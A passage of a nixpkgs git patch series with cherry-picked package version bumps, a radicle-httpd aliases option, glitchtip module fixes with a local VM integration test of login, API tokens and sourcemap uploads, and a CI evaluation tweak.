-      rev-version = "22.0.0-unstable-2025-08-17";
-      sha256 = "sha256-rz+Ybn9bslZA57AV1gHyePrxvBi7bRnt3Tii6Go/NWA=";
+      rev = "b121cdfe197f7d684723b432c766820ab172a7a8";
+      rev-version = "22.0.0-unstable-2025-08-24";
+      sha256 = "sha256-SHR+xoaGlGMp1eqwDyDxdQjjjgbG3UNsDq+wrp2y1Y8=";
     };
   }
   // llvmVersions;

From 17096cea47d8ee98a7b4f53ac844865cbd582bce Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 31 Aug 2025 22:34:48 -0700
Subject: [PATCH 4142/4511] llvmPackages_git: 22.0.0-unstable-2025-08-24 ->
 22.0.0-unstable-2025-08-31

(cherry picked from commit 0c186805acd7d3fa8d0ea97ecf253d2528f064de)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index d1192f3b9cec..9acb23c63539 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "b121cdfe197f7d684723b432c766820ab172a7a8";
-      rev-version = "22.0.0-unstable-2025-08-24";
-      sha256 = "sha256-SHR+xoaGlGMp1eqwDyDxdQjjjgbG3UNsDq+wrp2y1Y8=";
+      rev = "0b42e117c829c6e127ef4b1bd82807ba01853128";
+      rev-version = "22.0.0-unstable-2025-08-31";
+      sha256 = "sha256-rClCPbTYqw0ZO9dJqJn3bqtuu9yxwcEfJs3vAW2xjAc=";
     };
   }
   // llvmVersions;

From b6fe1205080b83a0b18c393b2cf82d1a999fd76d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 26 Aug 2025 02:35:00 +0000
Subject: [PATCH 4143/4511] virt-manager: 5.0.0 -> 5.1.0

(cherry picked from commit 4096fb30d94fd208399daccd8f91d1ab0577bc5d)
---
 pkgs/applications/virtualization/virt-manager/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/virtualization/virt-manager/default.nix b/pkgs/applications/virtualization/virt-manager/default.nix
index 68dd83330c9f..d94406646268 100644
--- a/pkgs/applications/virtualization/virt-manager/default.nix
+++ b/pkgs/applications/virtualization/virt-manager/default.nix
@@ -34,13 +34,13 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "virt-manager";
-  version = "5.0.0";
+  version = "5.1.0";
 
   src = fetchFromGitHub {
     owner = pname;
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-KtB2VspkA/vFu7I8y6M8WfAoZglxmCeb4Z3OzdsGuvk=";
+    hash = "sha256-nMWLDo2pfWcqsVuEk0JbzLZ1a0lViTohsZ8gEXGhBuI=";
   };
 
   strictDeps = true;

From ad0f2f28ec10f105aaead3e1b71ce91cfd171c47 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 30 Aug 2025 19:52:59 +0200
Subject: [PATCH 4144/4511] nixos/radicle: add httpd.aliases option

(cherry picked from commit 8b4862c60819d60b48724814d1aea1003b65deda)
---
 nixos/modules/services/misc/radicle.nix | 25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/misc/radicle.nix b/nixos/modules/services/misc/radicle.nix
index b85d4f5aacb7..60fccc094236 100644
--- a/nixos/modules/services/misc/radicle.nix
+++ b/nixos/modules/services/misc/radicle.nix
@@ -227,6 +227,16 @@ in
           default = 8080;
           description = "The port on which `radicle-httpd` listens.";
         };
+        aliases = lib.mkOption {
+          type = lib.types.attrsOf lib.types.str;
+          description = "Alias and RID pairs to shorten git clone commands for repositories.";
+          default = { };
+          example = lib.literalExpression ''
+            {
+              heartwood = "rad:z3gqcJUoA1n9HaHKufZs5FCSGazv5";
+            }
+          '';
+        };
         nginx = lib.mkOption {
           # Type of a single virtual host, or null.
           type = lib.types.nullOr (
@@ -342,7 +352,20 @@ in
                 description = "Radicle HTTP gateway to radicle-node";
                 documentation = [ "man:radicle-httpd(1)" ];
                 serviceConfig = {
-                  ExecStart = "${lib.getExe' cfg.httpd.package "radicle-httpd"} --listen ${cfg.httpd.listenAddress}:${toString cfg.httpd.listenPort} ${lib.escapeShellArgs cfg.httpd.extraArgs}";
+                  ExecStart = lib.escapeShellArgs (
+                    [
+                      (lib.getExe' cfg.httpd.package "radicle-httpd")
+                      "--listen=${cfg.httpd.listenAddress}:${toString cfg.httpd.listenPort}"
+                    ]
+                    ++ lib.flatten (
+                      lib.mapAttrsToList (alias: rid: [
+                        "--alias"
+                        alias
+                        rid
+                      ]) cfg.httpd.aliases
+                    )
+                    ++ cfg.httpd.extraArgs
+                  );
                   Restart = lib.mkDefault "on-failure";
                   RestartSec = "10";
                   SocketBindAllow = [ "tcp:${toString cfg.httpd.listenPort}" ];

From 6e4ada68f224c19a18d358c881b5c5b97d5fa663 Mon Sep 17 00:00:00 2001
From: Louis Bailleau <louis13.bailleau@gmail.com>
Date: Sat, 30 Aug 2025 10:02:07 +0200
Subject: [PATCH 4145/4511] microsoft-edge: 139.0.3405.111 -> 139.0.3405.125

(cherry picked from commit 2b9f4f9b6202dfc0362fdfaab01157abd8fcb07a)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 2361333a8112..ff626a5f2357 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -162,11 +162,11 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "139.0.3405.111";
+  version = "139.0.3405.125";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-1hsvzvaVCDSWGEpqMjsrz7V9Ra+PtoZ//lSXSlmS3FI=";
+    hash = "sha256-MqJPlFoPiTIReXRhLJGR+nbOVwWcpiHTMr5s+M6KXqE=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 9978b14017c98851dc29b9dada4a204b3f5edd15 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 31 Aug 2025 18:01:10 +0200
Subject: [PATCH 4146/4511] nixos/tests/glitchtip: test sourcemap uploads

(cherry picked from commit e9de9b50ceab24dd309e2515cf53d4ec4d7ab74f)
---
 nixos/tests/glitchtip.nix | 103 +++++++++++++++++++++-----------------
 1 file changed, 57 insertions(+), 46 deletions(-)

diff --git a/nixos/tests/glitchtip.nix b/nixos/tests/glitchtip.nix
index 408ac5fc81a3..21b3a0197c48 100644
--- a/nixos/tests/glitchtip.nix
+++ b/nixos/tests/glitchtip.nix
@@ -42,62 +42,73 @@ in
     ];
   };
 
-  testScript = ''
-    import json
-    import re
-    import time
+  testScript =
+    { nodes, ... }: # python
+    ''
+      import json
+      import re
+      import time
 
-    machine.wait_for_unit("glitchtip.service")
-    machine.wait_for_unit("glitchtip-worker.service")
-    machine.wait_for_open_port(8000)
+      machine.wait_for_unit("glitchtip.service")
+      machine.wait_for_unit("glitchtip-worker.service")
+      machine.wait_for_open_port(8000)
 
-    origin_url = "${domain}"
-    cookie_jar_path = "/tmp/cookies.txt"
-    curl = f"curl -b {cookie_jar_path} -c {cookie_jar_path} -fS -H 'Origin: {origin_url}'"
+      origin_url = "${domain}"
+      cookie_jar_path = "/tmp/cookies.txt"
+      curl = f"curl -b {cookie_jar_path} -c {cookie_jar_path} -fS -H 'Origin: {origin_url}'"
 
-    # create superuser account
-    machine.succeed("DJANGO_SUPERUSER_PASSWORD=password glitchtip-manage createsuperuser --no-input --email=admin@example.com")
+      # create superuser account
+      machine.succeed("DJANGO_SUPERUSER_PASSWORD=password glitchtip-manage createsuperuser --no-input --email=admin@example.com")
 
-    # login
-    machine.fail(f"{curl} -s {origin_url}/_allauth/browser/v1/auth/session")  # get the csrf token, returns a 401
-    csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
-    machine.succeed(f"{curl} {origin_url}/_allauth/browser/v1/auth/login -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"email\": \"admin@example.com\", \"password\": \"password\"}}'")
+      # login
+      machine.fail(f"{curl} -s {origin_url}/_allauth/browser/v1/auth/session")  # get the csrf token, returns a 401
+      csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
+      machine.succeed(f"{curl} {origin_url}/_allauth/browser/v1/auth/login -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"email\": \"admin@example.com\", \"password\": \"password\"}}'")
 
-    resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/users/me/"))
-    assert resp["email"] == "admin@example.com"
-    assert resp["isSuperuser"] is True
+      resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/users/me/"))
+      assert resp["email"] == "admin@example.com"
+      assert resp["isSuperuser"] is True
 
-    # create organization
-    csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
-    machine.succeed(f"{curl} {origin_url}/api/0/organizations/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"name\": \"main\"}}'")
+      # create organization
+      csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
+      machine.succeed(f"{curl} {origin_url}/api/0/organizations/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"name\": \"main\"}}'")
 
-    resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/organizations/"))
-    assert len(resp) == 1
-    assert resp[0]["name"] == "main"
-    assert resp[0]["slug"] == "main"
+      resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/organizations/"))
+      assert len(resp) == 1
+      assert resp[0]["name"] == "main"
+      assert resp[0]["slug"] == "main"
 
-    # create team
-    csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
-    machine.succeed(f"{curl} {origin_url}/api/0/organizations/main/teams/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"slug\": \"test\"}}'")
+      # create team
+      csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
+      machine.succeed(f"{curl} {origin_url}/api/0/organizations/main/teams/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"slug\": \"test\"}}'")
 
-    # create project
-    csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
-    machine.succeed(f"{curl} {origin_url}/api/0/teams/main/test/projects/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"name\": \"test\"}}'")
+      # create project
+      csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
+      machine.succeed(f"{curl} {origin_url}/api/0/teams/main/test/projects/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"name\": \"test\"}}'")
 
-    # fetch dsn
-    resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/projects/main/test/keys/"))
-    assert len(resp) == 1
-    assert re.match(r"^http://[\da-f]+@glitchtip\.local:8000/\d+$", dsn := resp[0]["dsn"]["public"])
+      # fetch dsn
+      resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/projects/main/test/keys/"))
+      assert len(resp) == 1
+      assert re.match(r"^http://[\da-f]+@glitchtip\.local:8000/\d+$", dsn := resp[0]["dsn"]["public"])
 
-    # send event
-    machine.succeed(f"SENTRY_DSN={dsn} sentry-cli send-event -m 'hello world'")
+      # send event
+      machine.succeed(f"SENTRY_DSN={dsn} sentry-cli send-event -m 'hello world'")
 
-    for _ in range(20):
-      resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/organizations/main/issues/?query=is:unresolved"))
-      if len(resp) != 0: break
-      time.sleep(1)
-    assert len(resp) == 1
-    assert resp[0]["title"] == "hello world"
-    assert int(resp[0]["count"]) == 1
-  '';
+      for _ in range(20):
+        resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/organizations/main/issues/?query=is:unresolved"))
+        if len(resp) != 0: break
+        time.sleep(1)
+      assert len(resp) == 1
+      assert resp[0]["title"] == "hello world"
+      assert int(resp[0]["count"]) == 1
+
+      # create api token
+      csrf_token = machine.succeed(f"grep csrftoken {cookie_jar_path} | cut -f7").rstrip()
+      resp = json.loads(machine.succeed(f"{curl} {origin_url}/api/0/api-tokens/ -s -H 'X-Csrftoken: {csrf_token}' -H 'Content-Type: application/json' -d '{{\"label\":\"token\",\"scopes\":[\"project:write\"]}}'"))
+      token = resp["token"]
+
+      # upload sourcemaps
+      machine.succeed(f"sentry-cli --url {origin_url} --auth-token {token} sourcemaps upload --org main --project test ${nodes.machine.services.glitchtip.package.frontend}/*.map")
+      assert machine.succeed("ls /var/lib/glitchtip/uploads/file_blobs/").strip()
+    '';
 }

From 0cdcf4e6fbea0c9cbe22c088f638db7e96c9c944 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 31 Aug 2025 18:03:31 +0200
Subject: [PATCH 4147/4511] nixos/glitchtip: fix sourcemap uploads

(cherry picked from commit 95968f2f73a77cad96bbab0c474b6c67a4133f11)
---
 nixos/modules/services/web-apps/glitchtip.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/glitchtip.nix b/nixos/modules/services/web-apps/glitchtip.nix
index aaf949239388..0fa0e20bb445 100644
--- a/nixos/modules/services/web-apps/glitchtip.nix
+++ b/nixos/modules/services/web-apps/glitchtip.nix
@@ -189,6 +189,7 @@ in
           StateDirectory = "glitchtip";
           EnvironmentFile = cfg.environmentFiles;
           WorkingDirectory = "${pkg}/lib/glitchtip";
+          BindPaths = [ "/var/lib/glitchtip/uploads:${pkg}/lib/glitchtip/uploads" ];
 
           # hardening
           AmbientCapabilities = "";
@@ -220,6 +221,7 @@ in
             "@system-service"
             "~@privileged"
             "~@resources"
+            "@chown"
           ];
           UMask = "0077";
         };
@@ -271,7 +273,6 @@ in
 
     users.users = lib.mkIf (cfg.user == "glitchtip") {
       glitchtip = {
-        home = "/var/lib/glitchtip";
         group = cfg.group;
         extraGroups = lib.optionals cfg.redis.createLocally [ "redis-glitchtip" ];
         isSystemUser = true;
@@ -280,6 +281,8 @@ in
 
     users.groups = lib.mkIf (cfg.group == "glitchtip") { glitchtip = { }; };
 
+    systemd.tmpfiles.settings.glitchtip."/var/lib/glitchtip/uploads".d = { inherit (cfg) user group; };
+
     environment.systemPackages =
       let
         glitchtip-manage = pkgs.writeShellScriptBin "glitchtip-manage" ''

From 120cf68ade2464680324967920ae2662cf7719d9 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 31 Aug 2025 18:06:29 +0200
Subject: [PATCH 4148/4511] nixos/glitchtip: add stateDir option

(cherry picked from commit 6ef10ab044b36770b77d89fb5e10b5ea290498a4)
---
 nixos/modules/services/web-apps/glitchtip.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/web-apps/glitchtip.nix b/nixos/modules/services/web-apps/glitchtip.nix
index 0fa0e20bb445..553fc4ee44bc 100644
--- a/nixos/modules/services/web-apps/glitchtip.nix
+++ b/nixos/modules/services/web-apps/glitchtip.nix
@@ -58,6 +58,12 @@ in
         default = 8000;
       };
 
+      stateDir = lib.mkOption {
+        type = lib.types.path;
+        description = "State directory of glitchtip.";
+        default = "/var/lib/glitchtip";
+      };
+
       settings = lib.mkOption {
         description = ''
           Configuration of GlitchTip. See <https://glitchtip.com/documentation/install#configuration> for more information.
@@ -189,7 +195,7 @@ in
           StateDirectory = "glitchtip";
           EnvironmentFile = cfg.environmentFiles;
           WorkingDirectory = "${pkg}/lib/glitchtip";
-          BindPaths = [ "/var/lib/glitchtip/uploads:${pkg}/lib/glitchtip/uploads" ];
+          BindPaths = [ "${cfg.stateDir}/uploads:${pkg}/lib/glitchtip/uploads" ];
 
           # hardening
           AmbientCapabilities = "";
@@ -281,7 +287,7 @@ in
 
     users.groups = lib.mkIf (cfg.group == "glitchtip") { glitchtip = { }; };
 
-    systemd.tmpfiles.settings.glitchtip."/var/lib/glitchtip/uploads".d = { inherit (cfg) user group; };
+    systemd.tmpfiles.settings.glitchtip."${cfg.stateDir}/uploads".d = { inherit (cfg) user group; };
 
     environment.systemPackages =
       let

From 4198e557f3e402376672ecf50a5d43c2c0011d3e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 1 Sep 2025 15:47:55 +0200
Subject: [PATCH 4149/4511] ci/eval/compare: handle missing packages

Not all packages that are reported as changed will actually exist on the
platform that the maintainers are colleted on.

This is the case for some attributes that are only available on Darwin
or explicitly set to `null` on Linux. By filtering out packages without
maintainers, these are ignored - and we should potentially get a small
performance improvement as well.

(cherry picked from commit f2ca5796dea9a929995db23999e93ad0d690f030)
---
 ci/eval/compare/maintainers.nix | 33 +++++++++++++++++++++------------
 1 file changed, 21 insertions(+), 12 deletions(-)

diff --git a/ci/eval/compare/maintainers.nix b/ci/eval/compare/maintainers.nix
index bc1cfb5a3cfb..488eb0ea9201 100644
--- a/ci/eval/compare/maintainers.nix
+++ b/ci/eval/compare/maintainers.nix
@@ -22,18 +22,27 @@ let
 
   anyMatchingFiles = files: builtins.any anyMatchingFile files;
 
-  attrsWithMaintainers = builtins.map (
-    name:
-    let
-      package = lib.getAttrFromPath (lib.splitString "." name) pkgs;
-    in
-    {
-      inherit name package;
-      # TODO: Refactor this so we can ping entire teams instead of the individual members.
-      # Note that this will require keeping track of GH team IDs in "maintainers/teams.nix".
-      maintainers = package.meta.maintainers or [ ];
-    }
-  ) (changedattrs ++ removedattrs);
+  attrsWithMaintainers = lib.pipe (changedattrs ++ removedattrs) [
+    (builtins.map (
+      name:
+      let
+        # Some packages might be reported as changed on a different platform, but
+        # not even have an attribute on the platform the maintainers are requested on.
+        # Fallback to `null` for these to filter them out below.
+        package = lib.attrByPath (lib.splitString "." name) null pkgs;
+      in
+      {
+        inherit name package;
+        # TODO: Refactor this so we can ping entire teams instead of the individual members.
+        # Note that this will require keeping track of GH team IDs in "maintainers/teams.nix".
+        maintainers = package.meta.maintainers or [ ];
+      }
+    ))
+    # No need to match up packages without maintainers with their files.
+    # This also filters out attributes where `packge = null`, which is the
+    # case for libintl, for example.
+    (builtins.filter (pkg: pkg.maintainers != [ ]))
+  ];
 
   relevantFilenames =
     drv:

From 317667d7b576f1010a4adeee62c2455d3681548c Mon Sep 17 00:00:00 2001
From: Dominic Wrege <dominic.wrege001@stud.fh-dortmund.de>
Date: Sat, 30 Aug 2025 14:12:14 +0200
Subject: [PATCH 4150/4511] librewolf-bin-unwrapped: 142.0.1 -> 142.0.1-1

(cherry picked from commit 27cada1157e88208ddadefa6351150fbfdabd246)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index acd5fa5bfc48..a429b0fd8adb 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "142.0-1";
+  version = "142.0.1-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-2A5pSh2mKKhBiNgAoU4rvNxAm/XjhwZeeyCk6SSetdw=";
-        x86_64-linux = "sha256-dxGDR0Kb+InjCRCKdK6zBhn1qULdK1eQHf7/npPL58w=";
-        aarch64-linux = "sha256-u5eMu+o8Ne3Cvrc+HPv/hFunRpz1F/DOvxZDI65ux0A=";
+        i686-linux = "sha256-hDB1bo5TCiahFGAOzWLRMxy6hc7whsGbfiJsNxhnXok=";
+        x86_64-linux = "sha256-ijfsxA9XUZanPUXvOysouJNv7tUoclE1E4PoFOZP/EY=";
+        aarch64-linux = "sha256-pB+AQropvNw7kCUqeDHPMkDVht4Dl/98tcaszlw3Qj8=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From 1bb90a21dbe0cf98aa002de6c2b4aa177565d582 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 21 Jun 2025 22:08:11 +0200
Subject: [PATCH 4151/4511] haskellPackages.postgrest: 13.0.0 -> 13.0.4

Just fixes some regressions in v13.

Changelog:
https://github.com/PostgREST/postgrest/blob/v13.0.4/CHANGELOG.md
(cherry picked from commit ffcada9749c35bfb4a5ddef74693a66ec1d82672)
---
 pkgs/development/haskell-modules/configuration-common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index e41297e2b756..307fa8349c71 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -2799,12 +2799,12 @@ self: super:
         doJailbreak
         # 2022-12-02: Hackage release lags behind actual releases: https://github.com/PostgREST/postgrest/issues/2275
         (overrideSrc rec {
-          version = "13.0.0";
+          version = "13.0.4";
           src = pkgs.fetchFromGitHub {
             owner = "PostgREST";
             repo = "postgrest";
             rev = "v${version}";
-            hash = "sha256-j+WlY7D3hkPHIjiyCFenC5trF31L05gEPptCwOVil6U=";
+            hash = "sha256-Y9Nxfs2w3Iinx61Om7dd+R8TTsK12oWD+3vki3WUz9Y=";
           };
         })
       ];

From cbe4381a2c06fd9f2aeb518855ddf06345d04f61 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 27 Aug 2025 14:42:01 +0200
Subject: [PATCH 4152/4511] postgrest: 13.0.4 -> 13.0.5

Release Notes:
https://github.com/PostgREST/postgrest/releases/tag/v13.0.5

(cherry picked from commit 826d9716e2bcae236d1dfef80cafb6c9a3de7adb)
---
 pkgs/development/haskell-modules/configuration-common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 307fa8349c71..9ed6f173a35a 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -2799,12 +2799,12 @@ self: super:
         doJailbreak
         # 2022-12-02: Hackage release lags behind actual releases: https://github.com/PostgREST/postgrest/issues/2275
         (overrideSrc rec {
-          version = "13.0.4";
+          version = "13.0.5";
           src = pkgs.fetchFromGitHub {
             owner = "PostgREST";
             repo = "postgrest";
             rev = "v${version}";
-            hash = "sha256-Y9Nxfs2w3Iinx61Om7dd+R8TTsK12oWD+3vki3WUz9Y=";
+            hash = "sha256-5gBXQPU1pMwbpL+6DnWzAnilohH0JETNkES6sBP8tdM=";
           };
         })
       ];

From 0420b329f6e5944e8595774769a17003b10ab047 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 1 Sep 2025 20:01:18 +0200
Subject: [PATCH 4153/4511] postgrest: 13.0.5 -> 13.0.6

Release Notes:
https://github.com/PostgREST/postgrest/releases/tag/v13.0.6

(cherry picked from commit 8b3d840ac8cf6eaddd714182c9cf3ad4c5f28512)
---
 pkgs/development/haskell-modules/configuration-common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 9ed6f173a35a..6235b6d90860 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -2799,12 +2799,12 @@ self: super:
         doJailbreak
         # 2022-12-02: Hackage release lags behind actual releases: https://github.com/PostgREST/postgrest/issues/2275
         (overrideSrc rec {
-          version = "13.0.5";
+          version = "13.0.6";
           src = pkgs.fetchFromGitHub {
             owner = "PostgREST";
             repo = "postgrest";
             rev = "v${version}";
-            hash = "sha256-5gBXQPU1pMwbpL+6DnWzAnilohH0JETNkES6sBP8tdM=";
+            hash = "sha256-BM7fLW7LYrl+++NVztr407QyAhj2k5zO70iDqSe22dc=";
           };
         })
       ];

From 5a534679b08bae8ef973592c11cc7f510e5f0f9f Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Fri, 29 Aug 2025 15:35:46 +0200
Subject: [PATCH 4154/4511] =?UTF-8?q?jasmin-compiler:=202025.06.0=20?=
 =?UTF-8?q?=E2=86=92=202025.06.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit de2fd96686b4c39ecdb51a08da402bc7ee8c31f5)
---
 pkgs/by-name/ja/jasmin-compiler/package.nix | 16 +++++-----------
 1 file changed, 5 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/ja/jasmin-compiler/package.nix b/pkgs/by-name/ja/jasmin-compiler/package.nix
index ecbba2c2fd0f..c2aae034b044 100644
--- a/pkgs/by-name/ja/jasmin-compiler/package.nix
+++ b/pkgs/by-name/ja/jasmin-compiler/package.nix
@@ -9,11 +9,11 @@
 
 stdenv.mkDerivation rec {
   pname = "jasmin-compiler";
-  version = "2025.06.0";
+  version = "2025.06.1";
 
   src = fetchurl {
     url = "https://github.com/jasmin-lang/jasmin/releases/download/v${version}/jasmin-compiler-v${version}.tar.bz2";
-    hash = "sha256-VjWNvg/aF+omobF8b4YpRwVYM5K/b0GLoe1P/83ilk8=";
+    hash = "sha256-6StC+mnafHMLDCbaz4QqcrT+vK9PIVeh3BizzOH4Wfo=";
   };
 
   nativeBuildInputs = with ocamlPackages; [
@@ -47,15 +47,9 @@ stdenv.mkDerivation rec {
     "out"
   ];
 
-  installPhase = ''
-    runHook preInstall
-    pushd compiler
-    dune build @install
-    dune install --prefix=$bin --libdir=$out/lib/ocaml/${ocamlPackages.ocaml.version}/site-lib
-    popd
-    mkdir -p $lib/lib/jasmin/easycrypt
-    cp eclib/*.ec $lib/lib/jasmin/easycrypt
-    runHook postInstall
+  preInstall = ''
+    export PREFIX=$lib
+    export DUNE_OPTS="--prefix=$bin --libdir=$out/lib/ocaml/${ocamlPackages.ocaml.version}/site-lib"
   '';
 
   meta = {

From a54f59786b88a8ec64cc81b9c9aecda6bb6d74d5 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 27 Aug 2025 17:21:44 +0200
Subject: [PATCH 4155/4511] rcu: 4.0.24 -> 4.0.25

(cherry picked from commit e419db9fc248d8aee6d97cb360ff5e77321c45d9)
---
 ...o-3.x.patch => Port-to-paramiko-4.x.patch} | 86 +++++++++++++------
 pkgs/by-name/rc/rcu/package.nix               |  6 +-
 2 files changed, 64 insertions(+), 28 deletions(-)
 rename pkgs/by-name/rc/rcu/{Port-to-paramiko-3.x.patch => Port-to-paramiko-4.x.patch} (55%)

diff --git a/pkgs/by-name/rc/rcu/Port-to-paramiko-3.x.patch b/pkgs/by-name/rc/rcu/Port-to-paramiko-4.x.patch
similarity index 55%
rename from pkgs/by-name/rc/rcu/Port-to-paramiko-3.x.patch
rename to pkgs/by-name/rc/rcu/Port-to-paramiko-4.x.patch
index 760d23cea18d..dd8f76c33379 100644
--- a/pkgs/by-name/rc/rcu/Port-to-paramiko-3.x.patch
+++ b/pkgs/by-name/rc/rcu/Port-to-paramiko-4.x.patch
@@ -1,17 +1,15 @@
-From aad61b320d65953fddec10b019a186fc67f57a5d Mon Sep 17 00:00:00 2001
-From: OPNA2608 <opna2608@protonmail.com>
-Date: Sat, 10 Feb 2024 12:20:29 +0100
-Subject: [PATCH] src/model/transport.py: Port to paramiko 3.x
-
----
- src/model/transport.py | 19 +++++++++----------
- 1 file changed, 9 insertions(+), 10 deletions(-)
-
-diff --git a/src/model/transport.py b/src/model/transport.py
-index 0c2ee16..5a2bd22 100644
---- a/src/model/transport.py
-+++ b/src/model/transport.py
-@@ -117,7 +117,6 @@ from paramiko.kex_gss import KexGSSGex, KexGSSGroup1, KexGSSGroup14
+diff '--color=auto' -ruN a/src/model/transport.py b/src/model/transport.py
+--- a/src/model/transport.py	2025-08-27 17:12:23.761436314 +0200
++++ b/src/model/transport.py	2025-08-27 17:17:35.723006746 +0200
+@@ -105,7 +105,6 @@
+     MSG_NAMES,
+ )
+ from paramiko.compress import ZlibCompressor, ZlibDecompressor
+-from paramiko.dsskey import DSSKey
+ from paramiko.ed25519key import Ed25519Key
+ from paramiko.kex_curve25519 import KexCurve25519
